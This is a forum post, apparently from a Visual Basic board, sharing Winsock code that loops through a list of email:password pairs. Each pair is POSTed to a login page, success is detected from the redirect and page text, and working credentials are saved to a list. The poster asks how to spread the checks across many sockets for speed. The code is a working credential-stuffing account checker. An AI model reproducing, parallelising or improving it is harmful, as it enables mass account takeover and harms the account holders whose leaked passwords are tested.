I have a project that works fine as it is, but I would like to "multi-socket" it. It uses winsock, however it goes through a module, I have never seen it this way before. I have the code I will post below which is the original version and then I also have code from where I made the module into a user control that I can show upon request. Here is some code:
This is the code in the start button:
This is the code that is in the module:Code:Dim strsplit() As String Dim usernames(999) As String Dim passwords(999) As String Command7.Enabled = True blnGo = True For i = 0 To List1.ListCount - 1 If blnGo = True Then List1.ListIndex = i If InStr(1, List1.Text, ":") = 0 Then strsplit(0) = "" strsplit(1) = "" Label4.Caption = "Bad Login!" Else strsplit() = Split(List1.List(i), ":") usernames(i) = strsplit(0) passwords(i) = strsplit(1) End If GetSource "POST", "index.html", "suburl.url.com", "", "", "email=" & strsplit(0) & "&password=" & strsplit(1) & "&Remember=Remember&Loginbutton=Login" ' Login GetCookies (strSource) If InStr(1, strSource, "302 Object Moved") Then GetSource "GET", "index.html", "Home.url.com", "", cookies, "" RichTextBox3.Text = strSource If InStr(1, strSource, "My") Then List2.AddItem strsplit(0) & ":" & strsplit(1) End If Else Label4.Caption = "Login is bad" End If RichTextBox1.Text = strSource If List1.ListCount - 1 = List1.ListIndex Then Label4.Caption = "Done!" End If End If Next i
Please help me in anyway you can. My question is what is the best method to multi socket this, as in array of winsock.Code:Sub GetSource(Method As String, Page As String, Host As String, Referer As String, Cookie As String, Data As String) strSource = "" strMethod = Method strPage = Page strHost = Host strReferer = Referer strCookie = Cookie strData = Data Form1.sckSource.Close Form1.sckSource.Connect Host, 80 PageLoad End Sub Sub SendData() Dim strRequest As String strRequest = _ strMethod & " /" & strPage & " HTTP/1.1" & vbCrLf & _ "Host: " & strHost & vbCrLf & _ "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4" & vbCrLf & _ "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5" & vbCrLf & _ "Accept-Language: en,en-us;q=0.5" & vbCrLf & _ "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" & vbCrLf & _ "Connection: close" & vbCrLf If strReferer <> "" Then strRequest = strRequest & "Referer: " & strReferer & vbCrLf If strCookie <> "" Then strRequest = strRequest & "Cookie: " & strCookie & vbCrLf If strData <> "" Then strRequest = strRequest & "Content-Type: application/x-www-form-urlencoded" & vbCrLf strRequest = strRequest & "Content-Length: " & Len(strData) & vbCrLf & vbCrLf strRequest = strRequest & strData & vbCrLf End If strRequest = strRequest & Chr(10) Form1.sckSource.SendData (strRequest) End Sub Sub GetData() Dim strIncomming As String If Form1.sckSource.State = 7 Then Form1.sckSource.GetData strIncomming strSource = strSource & strIncomming End If End Sub Sub PageLoad() Now = GetTickCount() Do Until Form1.sckSource.State = 8 If GetTickCount() >= Now + 3000 Then GetSource strMethod, strPage, strHost, strReferer, strCookie, strData Exit Sub End If If (GetTickCount() - Now) < 0 Then Now = GetTickCount() End If DoEvents Sleep 1 Loop Form1.sckSource.Close End Sub
PS-I know the URL's are messed up in the code, they're edited out. This is just an outline of the project. Thanks




Reply With Quote